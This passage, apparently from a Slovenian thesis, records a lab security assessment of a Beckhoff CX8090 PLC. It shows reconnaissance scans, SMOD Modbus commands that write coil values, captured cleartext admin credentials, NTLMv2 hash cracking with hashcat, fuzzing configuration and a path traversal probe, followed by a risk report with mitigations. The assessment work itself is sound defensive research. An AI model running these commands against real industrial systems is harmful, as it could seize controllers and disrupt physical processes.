8.1.3. Protokol ADS 
Protokol ADS, ki so ga razvili pri Beckhoffu, je namenjen izmenjavi sporočil med razvojnim okoljem 
TwinCAT in industrijskimi krmilniki. Za identifikacijo naprav se pri protokolu ADS uporabljata AdsPortNr 
in AdsAmsNetId, pri čemer je slednji določen neposredno iz IP naslova naprave (krmilniku z IP naslovom 
192.168.79.210 tako na primer pripada AdsAmsNetId 192.168.79.210.1.1).  
 
8.2. Varnostni pregled 
Glede na to, da se na samem industrijskem krmilniku uporabljajo tehnologije, ki jih poznamo iz poslovnih 
informacijskih sistemov, je v veliki meri botrovalo odločitvi, da bo varnostni pregled izveden v skladu z 
metodologijo, ki jo uporabljamo pri varnostnih pregledih aktivnih mrežnih gradnikov oziroma strežnikov. 
 
8.2.1. Faza 1: Zbiranje podatkov 
V prvi fazi varnostnega pregleda krmilnika smo poskušali zbrati kar največ podatkov o njem samem. Glede na 
to, da smo želeli biti pri tem kar najbolj objektivni, smo programsko opremo najprej nadgradili na zadnjo 
razpoložljivo različico (v našem primeru je pomenilo prenos in namestitev slike CX8000 LF 3.54e s knjižnicami 
TwinCAT v. 2.11.2254). Da bi lahko v praksi ocenili najslabši možni scenarij s stališča varnosti, je bila privzeta 
konfiguracija spremenjena tako, da so bili vklopljeni še oddaljen terminalski dostop (Remote Display) ter FTP 
in TELNET strežnika.  
 
Slika 13: Vklop oddaljenega terminalskega dostopa 
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Slika 14: Vklop FTP in TELNET strežnika 
Po opravljeni prekonfiguraciji so bile na samem krmilniku aktivne sledeče storitve, ki na transportnem nivoju 
uporabljajo protokol TCP: 
 
[root@centos ~]# nmap -sS -p 1-65535 -A 192.168.79.210 
… 
PORT  STATE SERVICE  VERSION 
21/tcp  open    ftp             oftpd 
|_ftp-anon: Anonymous FTP login allowed (FTP code 230) 
|_ftp-bounce: server forbids bouncing to low ports <1025 
23/tcp  open  telnet     Pocket CMD telnetd 
80/tcp  open  http      ChipPC Extreme httpd 
|_http-server-header: Microsoft-WinCE/6.00 
|_http-title: Welcome 
139/tcp  open  netbios-ssn? 
443/tcp  open  tcpwrapped 
445/tcp   open   microsoft-ds 
502/tcp   open   mbap? 
987/tcp   open   unknown 
|_rpc-grind: ERROR: Script execution failed (use -d to debug) 
5120/tcp  open  http      ChipPC Extreme httpd 
|_http-server-header: Microsoft-WinCE/6.00 
|_http-title: Welcome 
48898/tcp open  tcpwrapped 
MAC Address: 00:01:05:xx:xx:xx (Beckhoff Automation GmbH) 
Device type: general purpose|media device 
Running: Microsoft Windows Mobile 5.X|6.X, Microsoft embedded 
OS CPE: cpe:/o:microsoft:windows_mobile:5 cpe:/o:microsoft:windows_mobile:6 
OS details: Microsoft Windows Mobile 5.0 - 6.1 or Zune audio player (firmware 2.2) 
Network Distance: 1 hop 
Service Info: OSs: Unix, Windows CE 6.00; CPE: cpe:/o:microsoft:windows_ce 
 
Kot kažejo zgornji rezultati, je bilo mogoče z uporabo programske opreme NMAP [54] ugotoviti tudi kateri 
operacijski sistem je nameščen na samem krmilniku. Podrobnejša analiza storitev, ki je bila opravljena z 
uporabo programske opreme Nessus [55], je pokazala še, da sta na krmilniku aktivna tudi NTP (UDP/123) in 
SNMP (UDP/161) strežnika.  
 
[root@centos ~]# ntpdate -q 192.168.79.210 
server 192.168.79.210, stratum 2, offset -0.002716, delay 0.03578 
 7 Jul 17:38:14 ntpdate[1588]: adjust time server 192.168.79.210 offset -0.002716 sec 
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[root@centos ~]# snmpwalk -c public -v 2c 192.168.79.210 
SNMPv2-MIB::sysDescr.0 = STRING: Microsoft Windows CE Version 6.0 (Build 0) 
… 
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (264918) 0:44:09.18 
… 
SNMPv2-MIB::sysName.0 = STRING: CX8090 
 
Z uporabo bolj namenske programske opreme [56] je bilo mogoče preveriti tudi kakšen je odziv Modbus 
strežnika na industrijskem krmilniku oziroma ugotoviti kakšen je UID naprave. 
 
[root@centos smod-master]# python smod.py 
… 
SMOD >use modbus/scanner/discover 
SMOD modbus(discover) >set RHOSTS 192.168.79.210 
SMOD modbus(discover) >exploit 
[+] Module Modbus Discover Start 
[+] Modbus is running on : 192.168.79.210 
SMOD modbus(discover) >use modbus/scanner/uid 
SMOD modbus(uid) >set RHOSTS 192.168.79.210 
SMOD modbus(uid) >exploit 
[+] Module Brute Force UID Start 
[+] Start Brute Force UID on : 192.168.79.210 
[+] UID on 192.168.79.210 is : 10 
 
Podrobnejša analiza prometa med delovno postajo (192.168.79.200) in krmilnikom (192.168.79.210) v 
zgornjem primeru je kmalu pokazala, da je dobljeni rezultat malce zavajajoč. Ker namreč na samem krmilniku 
ni bil nameščen noben program, je branje poljubne spremenljivke iz njegovega pomnilnika pripeljalo do 
napake. 
 
… 
Internet Protocol Version 4, Src: 192.168.79.200, Dst: 192.168.79.210 
Transmission Control Protocol, Src Port: 59580 (59580), Dst Port: 502 (502), Seq: 1, Ack: 1, Len: 12 
Modbus/TCP 
    Transaction Identifier: 2 
    Protocol Identifier: 0 
    Length: 6 
    Unit Identifier: 10 
Modbus 
    Function Code: Read Coils (1) 
    Reference Number: 0 
    Bit Count: 1 
 
… 
Internet Protocol Version 4, Src: 192.168.79.210, Dst: 192.168.79.200 
Transmission Control Protocol, Src Port: 502 (502), Dst Port: 59580 (59580), Seq: 1, Ack: 13, Len: 9 
Modbus/TCP 
    Transaction Identifier: 2 
    Protocol Identifier: 0 
    Length: 3 
    Unit Identifier: 10 
Function 1:  Read Coils.  Exception: Slave device failure 
    Function Code: Unknown (129) 
    Exception Code: Slave device failure (4) 
 
Da bi omenjeno napako odpravili, smo iz tehnične dokumentacije krmilnika [57] povzeli relativno enostaven 
program, napisan v strukturiranem tekstu (ST), ki spremeni vrednost binarne spremenljivke bToggle vsakih 
500 ms ter to dodelili izbranim izhodom na digitalnem izhodnem modulu Beckhoff KL 2809, ki smo ga 
povezali na sam krmilnik. 
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PROGRAM MAIN 
VAR 
 fbTimer: TON; 
 bToggle AT %Q*: BOOL; 
END_VAR 
 
fbTimer(PT:=t#500ms, in:= NOT fbTimer.Q); 
IF fbTimer.Q THEN 
 bToggle:=NOT bToggle; 
END_IF 
 
Po namestitvi omenjenega programa je bilo mogoče iz delovne postaje prebrati vsakokratno vrednost 
spremenljivke bToggle na Modbus naslovu 0x0000. 
 
SMOD >use modbus/function/readCoils 
SMOD modbus(readCoils) >set RHOSTS 192.168.79.210 
SMOD modbus(readCoils) >set UID 10 
SMOD modbus(readCoils) >set StartAddr 0x0000 
SMOD modbus(readCoils) >exploit 
[+] Module Read Coils Function Start 
[+] Connecting to 192.168.79.210 
[+] Response is : 
###[ ModbusADU ]### 
  transId   = 0x2 
  protoId   = 0x0 
  len       = 0x4 
  unitId    = 0xa 
###[ Read Coils Answer ]### 
     funcCode  = 0x1 
     byteCount = 1L 
     coilStatus= [0] 
SMOD modbus(readCoils) >exploit 
[+] Module Read Coils Function Start 
[+] Connecting to 192.168.79.210 
[+] Response is : 
###[ ModbusADU ]### 
  transId   = 0x3 
  protoId   = 0x0 
  len       = 0x4 
  unitId    = 0xa 
###[ Read Coils Answer ]### 
     funcCode  = 0x1 
     byteCount = 1L 
     coilStatus= [1] 
 
Prav tako je bilo sedaj mogoče preveriti katere Modbus funkcije krmilnik dejansko podpira. 
 
[root@centos smod-master]# python smod.py 
… 
SMOD modbus(uid) >use modbus/scanner/getfunc 
SMOD modbus(getfunc) >set RHOSTS 192.168.79.210 
SMOD modbus(getfunc) >set UID 10 
SMOD modbus(getfunc) >exploit 
[+] Module Get Function Start 
[+] Looking for supported function codes on 192.168.79.210 
[+] Function Code 1(Read Coils) is supported. 
[+] Function Code 2(Read Discrete Inputs) is supported. 
[+] Function Code 3(Read Multiple Holding Registers) is supported. 
[+] Function Code 4(Read Input Registers) is supported. 
[+] Function Code 5 probably supported. 
[+] Function Code 6(Write Single Holding Register) is supported. 
[+] Function Code 15 probably supported. 
[+] Function Code 16 probably supported. 
[+] Function Code 22 probably supported. 
[+] Function Code 23 probably supported. 
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Po pričakovanjih je krmilnik omogočal tako branje (FC=1) kot tudi pisanje (FC=5).  
 
8.2.2. Faza 2: Modeliranje groženj in iskanje ranljivosti 
V nadaljevanju smo se posvetili iskanju morebitnih ranljivostih v odkritih storitvah. Ob upoštevanju tipičnega 
načina priključitve krmilnika tega tipa v omrežje, smo se osredotočili na iskanje ranljivosti na mrežnem nivoju, 
prav tako pa smo preverili kakšne so možnosti kraje intelektualne lastnine v primeru industrijskega krmilnika. 
 
Okužba z zlonamerno programsko opremo 
Samodejni varnostni pregled, ki smo ga opravili s programsko opremo Nessus, ni pokazal uporabe ranljive 
programske opreme na krmilniku, na katerega smo namestili zadnjo razpoložljivo različico operacijskega 
sistema in druge programske opreme. Glede na to, da Microsoft za operacijski sistem Windows Embedded 
CE 6.0 še vedno pripravlja varnostne popravke, hkrati pa je relativno malo javno znane zlonamerne 
programske opreme za procesor ARM, ocenjujemo, da je tveganje za okužbo z zlonamerno programsko 
opremo tudi v primeru, ko na samem krmilniku ni nameščena antivirusna programska oprema (AV) ali 
programska oprema za preprečevanje vdorov (IPS), relativno majhno.  
 
Nepooblaščen dostop 
Pri predstavitvi groženj industrijskim internetnim sistemom smo posebej opozorili na dejstvo, da se 
mehanizmi za zagotavljanje zasebnosti v takšnih sistemih le redko uporabljajo, tako da je fizična omejitev 
dostopa pogosto edini način za preprečitev nepooblaščenega dostopa.  
 
Da je temu tako tudi v primeru krmilnika Beckhoff CX8090, kažeta spodnja primera terminalskega dostopa 
z uporabo aplikacije Remote Display Control za Windows CE in uporabe programskega paketa TwinCAT 
2.x za konfiguracijo usmerjanja ADS prometa med delovno postajo in industrijskim krmilnikom. V obeh 
primerih je namreč mogoče pridobiti administratorsko geslo z enostavnim zajemom prometa med 
inženirsko delovno postajo in krmilnikom.  
 
Remote Display Control (TCP/987) 
0000   46 52 45 42 52 41 34 52 00   FREBRA4R. 
 
TwinCAT 2.x (UDP/48899) 
0000   03 66 14 71 00 00 00 00 06 00 00 00 c0 a8 4f 87  .f.q..........O. 
0010   01 01 10 27 05 00 00 00 0c 00 03 00 50 43 00 07  ...'........PC.. 
0020   00 06 00 c0 a8 4f 87 01 01 0d 00 0e 00 41 64 6d  .....O.......Adm 
0030   69 6e 69 73 74 72 61 74 6f 72 00 02 00 09 00 66  inistrator.....f 
0040   72 65 62 72 41 34 72 00 05 00 0f 00 31 39 32 2e  rebrA4r.....192. 
0050   31 36 38 2e 37 39 2e 31 33 35 00                    168.79.135. 
 
Ker je bilo za povezavo med inženirsko delovno postajo in krmilnikom uporabljeno Ethernet stikalo, je bilo 
potrebno za zajem prometa le-tega preusmeriti z zastrupljanjem ARP tabel. V ta namen smo uporabili 
programsko opremo Cain & Abel [58]. 
 
Administratorsko geslo operacijskega sistema Windows CE, ki je nameščen na krmilniku Beckhoff CX8090, 
je seveda mogoče pridobiti tudi drugače – z ugibanjem. Kot namreč vidimo v zgornjem primeru, se pri 
uporabi aplikacije Remote Display Control za Windows CE med odjemalcem in strežnikom prenese zgolj 
geslo (operacijski sistem Windows CE je namreč enouporabniški), pa še pri tem se uporabljajo le velike črke 
in številke, kar dodatno zmanjšuje nabor gesel, ki jih mora napadalec v praksi preizkusiti za pridobitev 
dostopa. 
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Podobno kot večina ostalih današnjih industrijskih krmilnikov tudi Beckhoffovi krmilniki omogočajo 
uporabo brskalnikov za njihovo osnovno konfiguracijo. V konkretnem primeru je bil spletni administrativni 
vmesnik dostopen na naslovu http://192.168.79.210/config oziroma preusmerjen na naslov 
http://CX8090:5120/UpnpWebsite/index.htm. Podrobnejša analiza dostopov, ki je bila opravljena z 
uporabo programske opreme OWASP ZAP [59] in BURP [60] je razkrila, da se za avtentikacijo v tem 
primeru uporablja protokol NTLMv2, sam spletni vmesnik pa je implementiran kot spletna storitev, ki 
temelji na uporabi protokola SOAP. 
 
Če predpostavimo, da ima napadalec možnost prestrezanja prometa med delovno postajo in industrijskim 
krmilnikom, potem lahko ob uspešni prijavi brez kakršnegakoli vpliva na njen potek zajame uporabniško ime 
in spodnje podatke: 
 
NTLM Server Challenge: 626e589874713e8d 
NTProofStr: 82fccaa08ab7d56acf19ee85e5826865 
NTLMv2 Response: 
0101000000000000002bd405c6cfd101ce10be133ce8a5b30000000001000e00430058003800300039003000000002000e0043005800
3800300039003000000007000800002bd405c6cfd10106000400020000000800300030000000000000000100000000200000254410e
01a74e272e5e01a69efb61bb84719cff9fc86b61eba6299bf80cfeb180a001000000000000000000000000000000000000900160048005
400540050002f00630078003800300039003000000000000000000000000000 
 
Ker gre v danem primeru za protokola tipa poziv/odziv (angl. challenge/response), pri katerem je odziv 
odvisen od uporabnikovega gesla in poziva, napadi z mavričnimi tabelami navkljub uporabi zgoščevalne 
funkcije MD5 pri protokolu NTLMv2, niso smiselni. Preostane nam torej slepo ugibanje gesel, pri čemer pa 
si lahko pomagamo s sodobnimi grafičnimi karticami in programsko opremo Haschat [61]. Če predpostavimo, 
da je geslo dolgo največ 8 znakov, vsebuje pa velike in male črke angleške abecede ter številke (za današnje 
sisteme povsem upravičena predpostavka), potem bi morali tega z opremo, ki jo imamo na voljo, najti v nekaj 
dnevih. 
 
[root@centos oclHashcat-1.37]# ./oclHashcat64.bin -m 5600 -a 3 -1 ?l?u?d hash.txt --increment ?1?1?1?1?1?1?1?1 
… 
WEBGUEST:::626e589874713e8d:82fccaa08ab7d56acf19ee85e5826865:0101000000000000002bd405c6cfd101ce10be133ce8a5b
30000000001000e00430058003800300039003000000002000e00430058003800300039003000000007000800002bd405c6cfd101060
00400020000000800300030000000000000000100000000200000254410e01a74e272e5e01a69efb61bb84719cff9fc86b61eba6299bf
80cfeb180a001000000000000000000000000000000000000900160048005400540050002f0063007800380030003900300000000000
0000000000000000:suTetr5b 
 
Session.Name...: oclHashcat 
Status.........: Cracked 
Input.Mode.....: Mask (?1?1?1?1?1?1?1?1) [8] 
Hash.Target....: WEBGUEST:::626e589874713e8d:82fccaa08ab7d... 
Hash.Type......: NetNTLMv2 
Time.Started...: Wed Jun 22 01:37:51 2016 (5 days, 23 hours) 
Speed.GPU.#1...:   252.4 MH/s 
Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts 
Progress.......: 130633288581120/218340105584896 (59.83%) 
Rejected.......: 0/130633288581120 (0.00%) 
Restore.Point..: 33983610880/56800235584 (59.83%) 
 
Spreminjanje podatkov 
Rezultati, ki smo jih dobili pri zbiranju informacij o krmilniku so pokazali, da krmilnik omogoča branje 
stanja posameznih programskih spremenljivk z uporabo protokola Modbus/TCP. Ali je mogoče v tem 
primeru relativno enostavno tudi spreminjati vrednosti programskih spremenljivk smo želeli preveriti še v 
praksi, zato smo poskusili spremeniti vrednost binarne spremenljivke na Modbus naslovu 0x0000. 
 
SMOD >use modbus/function/writeSingleCoils 
SMOD modbus(writeSingleCoils) >set RHOSTS 192.168.79.210 
SMOD modbus(writeSingleCoils) >set UID 10 
SMOD modbus(writeSingleCoils) >set OutputAddr 0x0000 
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SMOD modbus(writeSingleCoils) >set OutputValue 0xFF00 
SMOD modbus(writeSingleCoils) >exploit 
[+] Module Write Single Coil Start 
[+] Connecting to 192.168.79.210 
[+] Response is : 
###[ ModbusADU ]### 
  transId   = 0x4 
  protoId   = 0x0 
  len       = 0x6 
  unitId    = 0xa 
###[ Write Single Coil ]### 
     funcCode  = 0x5 
     outputAddr= 0x0 
     outputValue= 0xff00 
… 
SMOD modbus(writeSingleCoils) >set OutputValue 0x0000 
SMOD modbus(writeSingleCoils) >exploit 
[+] Module Write Single Coil Start 
[+] Connecting to 192.168.79.210 
[+] Response is : 
###[ ModbusADU ]### 
  transId   = 0xa 
  protoId   = 0x0 
  len       = 0x6 
  unitId    = 0xa 
###[ Write Single Coil ]### 
     funcCode  = 0x5 
     outputAddr= 0x0 
     outputValue= 0x0 
  
Kot kažejo spodnji rezultati težav pri tem nismo imeli. 
 
 
 
 
Slika 15: Spreminjanje vrednosti programske spremenljivke bToggle 
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Oviranje in onemogočanje delovanja 
Neustrezna validacija vhodnih podatkov je v praksi pogosto razlog za težave z delovanjem najrazličnejših 
aplikacij. Najbolj problematična je ta v primeru neustreznega preverjanja dolžine vhodnih nizov, ko je 
mogoče z vhodnimi nizi prepisati vsebino dela pomnilnika in tako procesor prisiliti v izvajanje poljubne 
programske kode. V našem primeru smo identificirali dva takšna primera, kjer bi bilo vredno poskusiti 
poiskati omenjene ranljivosti.  
 
Da bi preverili kako se Modbus/TCP strežnik na industrijskem krmilniku odziva na neveljavne podatke v 
paketih na vratih TCP/502, smo na delovno postajo namestili odprtokodno različico programske opreme 
Peach [62] in konfiguracijo iz [63] priredili tako, da se je negativno testiranje (angl. fuzzing) izvajalo le na 
vhodnih nizih dejansko uporabljenih funkcij. Končna vsebina konfiguracijske XML datoteke je tako med 
drugim vsebovala: 
 
<StateModel name="ModbusStateModel" initialState="InitialState"> 
  <State name="InitialState">  
  <Action type="output"> 
    <DataModel ref="ModbusPDU1ReadCoilsRequest" /> 
   </Action>   
   <Action type="output"> 
    <DataModel ref="ModbusPDU2ReadDiscreteInputsRequest" /> 
   </Action>  
   <Action type="output"> 
    <DataModel ref="ModbusPDU3ReadHoldingRegistersRequest" /> 
   </Action>  
   <Action type="output"> 
    <DataModel ref="ModbusPDU4ReadInputRegistersRequest" /> 
   </Action> 
   <Action type="output"> 
    <DataModel ref="ModbusPDU5WriteSingleCoilRequest" /> 
   </Action> 
   <Action type="output"> 
    <DataModel ref="ModbusPDU6WriteSingleRegisterRequest" /> 
   </Action>  
  </State> 
 </StateModel> 
 
 <Test name="Default"> 
  <StateModel ref="ModbusStateModel" /> 
  <Publisher class="tcp.Tcp"> 
   <Param name="Host" value="192.168.79.210"/> 
   <Param name="Port" value="502"/> 
  </Publisher> 
 </Test> 
 
Odzivnost Modbus strežnika smo v času trajanja negativnega testiranja preverjali z Modbus odjemalcem 
MBTGET [64]. Ker se tudi po 12-ih urah testiranja odzivnost ni prav veliko spreminjala, lahko upravičeno 
sklepamo, da se v primeru Modbus strežnika validacija vhodnih parametrov izvaja pravilno, tako da je 
verjetnost uspešnega napada, ki bi temeljil na prelivanju pomnilnika, zelo majhna. Podobne rezultate je v 
primeru Modbus strežnika dalo tudi negativno testiranje z uporabo MTF [64]. 
 
Podobno kot v primeru Modbus strežnika smo poskusili z negativnim testiranjem poiskati morebitne 
ranljivosti tudi v spletnem administrativnem vmesniku. Da bi ugotovili katere spremenljivke je v tem 
primeru smiselno spreminjati, si je bilo potrebno nekoliko podrobneje ogledati izmenjavo podatkov med 
brskalnikom na delovni postaji (odjemalcem) in krmilnikom (strežnikom). Primerjava zahtevkov v primeru 
izbire različnih opcij v administrativnem vmesniku je pokazala, da se spreminjajo vrednosti spodnjih 
spremenljivk: 
 
POST http://cx8090:5120/MdpWebService/MdpWebService.dll HTTP/1.1 
… 
 
<?xml version="1.0" encoding="utf-8"?><s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" 
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><u:ReadWrite 
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xmlns:u="urn:beckhoff.com:service:cxconfig:1"><netId></netId><nPort>0</nPort><indexGroup>61568</indexGroup><i
ndexOffset>7</indexOffset><cbRdLen>452</cbRdLen><pwrData>AAAAAAAACBCAAAAAAAAAAAQAIYCAAAAAA
AAAAAIAoYACAAAAAAAAAAEAsYAEAAAAAAAAAAIAsYAEAAAAAAAAAAMAoYACAAAAAAAAAAAA8PmAAAA
A</pwrData></u:ReadWrite></s:Body></s:Envelope> 
 
Slika 16: Iskanje ranljivosti v administrativnem spletnem vmesniku 
Težav z napačno validacijo vhodnih parametrov tudi v tem primeru nismo odkrili. 
 
Prav tako smo v praksi preverili, ali je industrijski krmilnik morda ranljiv zaradi neustrezne konfiguracije 
spletnega administrativnega vmesnika in na primer dovoljuje dostop do konfiguracijskih datotek. Kot kažejo 
spodnji rezultati temu ni tako. 
 
GET http://192.168.79.210/../../../../TwinCAT/Boot/TCPLC_P_1.wbp HTTP/1.1 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
DNT: 1 
Connection: keep-alive 
Proxy-Connection: Keep-Alive 
Content-Length: 0 
Host: 192.168.79.210 
 
HTTP/1.0 404 Object Not Found 
Date: Mon, 18 Jul 2016 21:42:51 GMT 
Connection: keep-alive 
Server: Microsoft-WinCE/6.00 
Content-Type: text/html 
Content-Length: 95 
 
<html><head><title>Not Found</title></head><body>The requested URL was not found.</body></html> 
 
Kraja intelektualne lastnine 
Razvoj sistemov vodenja industrijskih procesov pogosto terja znatna finančna sredstva, zato želijo proizvajalci 
strojev in naprav te investicije ustrezno zaščititi in preprečiti nepooblaščeno spreminjanje ter razmnoževanje 
programske opreme. V primeru industrijskega krmilnika Beckhoff CX8090 je mogoče projekt na delovni 
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postaji, kjer je nameščeno razvojno okolje TwinCAT 2.x, in krmilniku, kjer se ta izvaja, zašifrirati z geslom in 
na ta način preprečiti njegovo branje oziroma spreminjanje. 
 
Da bi ugotovili kako učinkovita je takšna zaščita, smo najprej primerjali vsebino .PRO datoteke pred  
 
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 
 
00002340  00 00 50 52 4F 47 52 41 4D 20 4D 41 49 4E 0D 0A  ..PROGRAM MAIN.. 
00002350  56 41 52 0D 0A 09 66 62 54 69 6D 65 72 3A 20 54  VAR...fbTimer: T 
00002360  4F 4E 3B 0D 0A 09 62 54 6F 67 67 6C 65 20 41 54  ON;...bToggle AT 
00002370  20 25 51 2A 3A 20 42 4F 4F 4C 3B 0D 0A 45 4E 44   %Q*: BOOL;..END 
00002380  5F 56 41 52 12 5E 00 00 00 66 62 54 69 6D 65 72  _VAR.^...fbTimer 
00002390  28 50 54 3A 3D 74 23 35 30 30 6D 73 2C 20 69 6E  (PT:=t#500ms, in 
000023A0  3A 3D 20 4E 4F 54 20 66 62 54 69 6D 65 72 2E 51  := NOT fbTimer.Q 
000023B0  29 3B 0D 0A 49 46 20 66 62 54 69 6D 65 72 2E 51  );..IF fbTimer.Q 
000023C0  20 54 48 45 4E 0D 0A 09 62 54 6F 67 67 6C 65 3A   THEN...bToggle: 
000023D0  3D 4E 4F 54 20 62 54 6F 67 67 6C 65 3B 0D 0A 45  =NOT bToggle;..E 
000023E0  4E 44 5F 49 46 0D 0A 04 00 00 00 00 00 00 00 00  ND_IF........... 
 
in po zaščiti z geslom.  
 
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 
 
00002340  A1 C3 98 70 36 0D 15 37 3F 5D 0A E2 A2 AF DB FD  ˇĂ.p6..7?].â˘ŻŰý 
00002350  8B 97 7C 3B 5A 07 36 72 11 52 C4 8A DA FC D0 98  ‹—|;Z.6r.RÄŠÚüĐ. 
00002360  AA 48 10 5F 08 29 45 19 50 A8 8B DD FB D9 9B AB  ŞH._.)E.P¨‹ÝűŮ›« 
00002370  16 13 4B 14 46 58 44 7F 9A CA CA DC F0 B3 FD 81  ..K.FXD.šĘĘÜđłý. 
00002380  38 4C 0F 25 23 40 15 FD F9 D5 92 B8 FE A3 EF 79  8L.%#@.ýůŐ’¸ţŁďy 
00002390  61 2F 05 09 3F 07 FA DE B7 E5 9A CC F4 BE 41 44  a/..?.úŢ·ĺšĚôľAD 
000023A0  6F 43 13 7E 6C 90 C5 CB DF EE D8 A5 ED 7B 5F 31  oC.~l.ĹËßîŘĄí{_1 
000023B0  07 0B 3F 00 85 DD 89 95 F2 BD E2 EE 4C 61 34 70  ..?.…Ý‰•ň˝âîLa4p 
000023C0  1D 60 7E FA C7 D3 D6 F1 B4 CC 83 20 56 0A 73 00  .`~úÇÓÖń´Ě. V.s. 
000023D0  74 3F CF DA BB D3 FA A1 E0 E8 7C 5C 38 78 0A 49  t?ĎÚ»Óúˇŕč|\8x.I 
000023E0  69 A4 EB C4 D2 F2 AB 86 CD 26 38 5C 1E 65 2D 4D  i¤ëÄŇň«†Í&8\.e-M 
 
Ker vsebina .PRO datoteke po šifriranju ni bila berljiva, prav tako pa v njej nismo uspeli najti shranjenega 
gesla, smo želeli ugotoviti na kakšen način se samo šifriranje izvaja. V ta namen smo z istim geslom še enkrat 
zaščitili enak projekt in pri tem opazili, da se je šifrirana vsebina razlikovala, kar je kazalo na dosledno 
implementacijo mehanizmov za zagotavljanje zasebnosti. 
 
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 
 
00002340  F3 C0 91 22 35 04 47 34 36 0F 09 EB F0 AC D2 AF  óŔ‘"5.G46..ëđ¬ŇŻ 
00002350  88 9E 2E 38 53 55 35 7B 43 51 CD D8 D9 F5 82 9B  .ž.8SU5{CQÍŘŮő‚› 
00002360  A3 1A 13 56 5A 2A 4C 4B 53 A1 D9 DE F2 8B 98 A2  Ł..VZ*LKSˇŮŢň‹.˘ 
00002370  44 10 42 46 45 51 16 7C 93 98 C9 D5 A2 B0 F4 D3  D.BFEQ.|“.ÉŐ˘°ôÓ 
00002380  3B 45 5D 26 2A 12 16 F4 AB D6 9B EA FD AA BD 7A  ;E]&*..ô«Ö›ęýŞ˝z 
00002390  68 7D 06 00 6D 04 F3 8C B4 EC C8 CF FD EC 42 4D  h}..m.óŚ´ěČĎýěBM 
000023A0  3D 40 1A 2C 6F 99 97 C8 D6 BC DB AC BF 78 56 63  =@.,o™—ČÖĽŰ¬żxVc 
000023B0  04 02 6D 03 8C 8F 8A 9C A0 BE EB BC 4F 68 66 73  ..m.ŚŹŠś ľëĽOhfs 
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000023C0  14 32 7D F3 95 D0 DF A3 B7 C5 D1 23 5F 58 70 09  .2}ó•ĐßŁ·ĹŃ#_Xp. 
000023D0  26 3C C6 88 B8 DA A8 A2 E9 BA 7F 55 6A 7B 03 1B  &<Ć.¸Ú¨˘éş.Uj{.. 
000023E0  6A AD B9 C7 DB A0 A8 8F 9F 25 31 0E 1D 6C 7F 4E  j.ąÇŰ ¨Źź%1..l.N 
 
Nazadnje smo preverili še ali je mogoče na sami SD kartici, ki je kot pomnilni medij uporabljena v samem 
krmilniku, najti samo izvorno kodo. Ker temu ni bilo tako ocenjujemo, da je zaščita intelektualne lastnine tako 
na delovni postaji kot tudi krmilniku Beckhoff CX8090 ustrezna. 
 
8.2.3. Faza 3: Priprava poročila in predlogov za zmanjšanje tveganja 
V okviru varnostnega pregleda industrijskega krmilnika je bilo nazadnje pripravljeno poročilo o ugotovljenih 
grožnjah in s tem povezanimi varnostni tveganji, v katerega smo vključili tudi predloge za njihovo zmanjšanje. 
Sama varnostna tveganja smo ocenili v skladu z metodologijo, ki smo jo predstavili, izpostavili pa le grožnje, 
ki pomenijo veliko varnostno tveganje.  
 
Ker je mogoče konfiguracijo SNMP strežnika na krmilniku spremeniti, protokola FTP in SMB pa v praksi 
redko uporabljamo za neposredni prenos datotek na sam krmilnik, z njimi povezanih groženj nismo vključili 
v poročilo. 
 
 
Grožnja 1: Pridobitev administratorskih pravic 
Odkrite ranljivosti 
Neustrezna zaščita administratorskih podatkov pri uporabi 
protokolov ADS in TELNET ter terminalskem dostopu. 
Opis vpliva grožnje/ranljivosti 
Pridobljeni administratorski podatki omogočajo popoln nadzor nad 
delovanjem industrijskega krmilnika. 
Opis scenarija za izrabo 
ranljivosti 
Zajem prometa na vratih TCP/23, TCP/987 oziroma TCP/48899 
med inženirsko delovno postajo in industrijskim krmilnikom. 
Opis trenutnega načina 
obvladovanja grožnje 
Programski paket TwinCAT 3.x sicer omogoča zaščito 
administratorskih podatkov pri uporabi protokola ADS z uporabo 
šifriranja, a njegova uporaba ni združljiva s krmilnikom Beckhoff 
CX8090. 
 
Zmanjšanje varnostnega tveganja je pri obstoječi konfiguraciji 
mogoče zgolj z izklopom TELNET strežnika in ukinitvijo 
terminalskega dostopa ter uporabo gesel ustrezne dolžine in 
kompleksnosti (na primer 10 znakov) pri spletnem 
administrativnem dostopu. 
Verjetnost izrabe ranljivosti Velika 
Posledice izrabe ranljivosti Velike 
Določitev varnostnega tveganja Veliko 
 
 
Grožnja 2: Nepooblaščeno spreminjanje delovanja 
Odkrite ranljivosti 
Neustrezno preverjanje identitete Mobus/TCP odjemalcev in 
neustrezna zaščita prometa med Modbus/TCP odjemalci in 
strežniki omogočata poljubno spreminjanje vrednosti programskih 
spremenljivk. 
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Opis vpliva grožnje/ranljivosti 
Spreminjanje vrednosti programskih spremenljivk omogoča vpliv 
na delovanje krmilnika in posledično procesa, ki ga ta vodi.  
Opis scenarija za izrabo 
ranljivosti 
Ker protokol Modbus/TCP ne predvideva uporabe nobenih 
varnostnih mehanizmov, je mogoče vrednost programskih 
spremenljiv spreminjati s preusmeritvijo prometa na vratih 
TCP/502 ali uporabo Modbus odjemalca, ki ima neposredni dostop 
do krmilnika.   
Opis trenutnega načina 
obvladovanja grožnje 
Edina možnost za zmanjšanje tveganja, ki izhaja in neustreznih 
varnostnih mehanizmov, ki jih omogoča protokol Modbus/TCP, je 
fizična omejitev dostopa do povezave med Modbus/TCP 
odjemalcem in strežnikom ter logična omejitev dostopa do 
krmilnika iz ostalih mrežnih segmentov.  
Verjetnost izrabe ranljivosti Velika 
Posledice izrabe ranljivosti Velike 
Določitev varnostnega tveganja Veliko 
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9. ZAKLJUČEK 
Industrijski sistemi so zaradi heterogenih gradnikov, ki jih sestavljajo, ter visokih zahtev po zanesljivosti 
delovanja navadno precej kompleksni. Podobno kompleksno je zagotavljanje njihovega varnega delovanja, še 
